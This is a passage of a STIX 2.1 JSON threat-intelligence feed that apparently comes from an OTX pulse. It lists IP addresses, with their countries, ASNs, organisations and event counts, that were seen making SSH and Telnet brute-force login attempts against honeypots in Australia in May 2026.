      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--6923e2d0-fefd-4234-af9f-8ec877919972",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.137.68.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--e7193260-2feb-4c5e-af96-61963f4d4193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.64.200.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 3257. Organisation(s): GTT Communications Inc..",
      "id": "indicator--68161927-adcf-410e-888e-e32c7c1d1187",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.192.243.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T16:16:55.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--87dff3d9-9f7c-4b85-a033-33b7f1d0a1f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:16:55.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:16:55.000Z",
      "valid_until": "2026-06-11T16:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9770. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--bcd951f9-0187-4713-8d6a-c0bb6f3d598a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.189.81.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 16135. Organisation(s): Turkcell Iletisim Hizmetleri A.s..",
      "id": "indicator--c106da30-46c3-4f42-a69c-7df53a60f582",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.141.237.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--3a4c4079-183d-41c2-a853-c82ea410dac5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.104.6.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--bdf235db-4418-44f7-9a99-7ecc3557bc2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.41.113.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--df3cbf26-76d6-4f3e-b532-4fd393436790",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.242.53.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c9505ccd-2729-468c-b079-3e997ed5a662",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9fa37e43-d99d-4d0a-96ca-67fc8b193db0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T17:15:10.000Z",
      "valid_until": "2026-06-11T17:15:08.000Z"
    },
    {
      "created": "2026-05-10T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3a145b4a-c04b-4caa-9de4-e0aab1d24b77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.199.129.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T18:15:10.000Z",
      "valid_until": "2026-06-11T18:15:08.000Z"
    },
    {
      "created": "2026-05-10T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--f0c3d271-ba10-4446-a4cc-fb77b71b949e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.127.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T18:15:10.000Z",
      "valid_until": "2026-06-11T18:15:08.000Z"
    },
    {
      "created": "2026-05-10T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270692. Organisation(s): JOSE CARLOS GONZAGA CARDOSO - ME.",
      "id": "indicator--34cfadbf-9440-4ef6-99af-697c21c42abf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.128.55.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T18:15:10.000Z",
      "valid_until": "2026-06-11T18:15:08.000Z"
    },
    {
      "created": "2026-05-10T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--97de74e0-0271-41c7-a7a5-1a39c66ddfd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.165.170.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T18:15:10.000Z",
      "valid_until": "2026-06-11T18:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 328856. Organisation(s): VIJIJI-CONNECT-LIMITED.",
      "id": "indicator--717e1728-9be5-4fce-941a-156ac2de733b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.213.48.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t. Passwords observed (masked): a**********3.",
      "id": "indicator--0ddaa3df-fbe2-4a82-9afa-51e7196d5cff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.166.49.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12400. Organisation(s): Partner Communications Ltd..",
      "id": "indicator--5d87b92f-ca42-4cba-8fa0-56f00d9ed47b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.229.82.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 48832. Organisation(s): Jordanian mobile phone services Ltd. Usernames observed (masked): G************1. Passwords observed (masked): H**********************3.",
      "id": "indicator--0262587c-8e56-4108-af02-3878f8e2e48f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.28.149.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA.",
      "id": "indicator--11fd7d52-bb43-412a-b042-98bc9f158423",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.115.178.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 27831. Organisation(s): Colombia Movil.",
      "id": "indicator--512b5a97-0f26-4f10-b2ba-3adb35682b42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.205.161.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--36fc5d49-183e-46cd-9c51-cffff0e32cd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.119.198.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--16a1060e-8c87-4579-ab35-ffd395ff33b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.15.250.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--d402e1de-aa2a-4766-b16a-fedb2fa04112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.36.137.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51207. Organisation(s): Free Mobile SAS.",
      "id": "indicator--68cd173c-d5bb-4bb2-846c-ab75b5ca3d5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.243.87.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc..",
      "id": "indicator--8b70edaa-e0b8-4a51-acfb-d9dc5d1575e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T19:15:10.000Z",
      "valid_until": "2026-06-11T19:15:08.000Z"
    },
    {
      "created": "2026-05-10T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--57f8f3fe-0d1d-448c-a806-db82d076db25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.46.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:15:10.000Z",
      "valid_until": "2026-06-11T20:15:09.000Z"
    },
    {
      "created": "2026-05-10T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--8f3c0ca4-cd31-465f-b64f-c232aa539550",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.5.108.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:15:10.000Z",
      "valid_until": "2026-06-11T20:15:09.000Z"
    },
    {
      "created": "2026-05-10T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--74699c43-bc44-4410-8f04-6901451dcd3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.227.24.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:15:10.000Z",
      "valid_until": "2026-06-11T20:15:09.000Z"
    },
    {
      "created": "2026-05-10T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--21f1da83-39ba-4fb4-b5fd-3a28aa0d634e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.117.58.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:15:10.000Z",
      "valid_until": "2026-06-11T20:15:09.000Z"
    },
    {
      "created": "2026-05-10T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 61283. Organisation(s): Andrew Millar Ltd.",
      "id": "indicator--ea304697-f7fb-42da-9876-c4a7f3cc9a2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.233.83.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:15:10.000Z",
      "valid_until": "2026-06-11T20:15:09.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 133159. Organisation(s): Mammoth Media Pty Ltd.",
      "id": "indicator--5dcc94e8-4e08-448c-a171-f5a7d1e85b82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.249.239.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--63227d6d-651d-4ec4-b758-f9d14900b01e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.10.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--1b88d5da-be35-4254-b963-1068980097a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.101.33.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--193d1601-8a00-4594-8224-372a92d0100b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f4f1dbb9-800b-4c10-a63c-71360bbd6a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
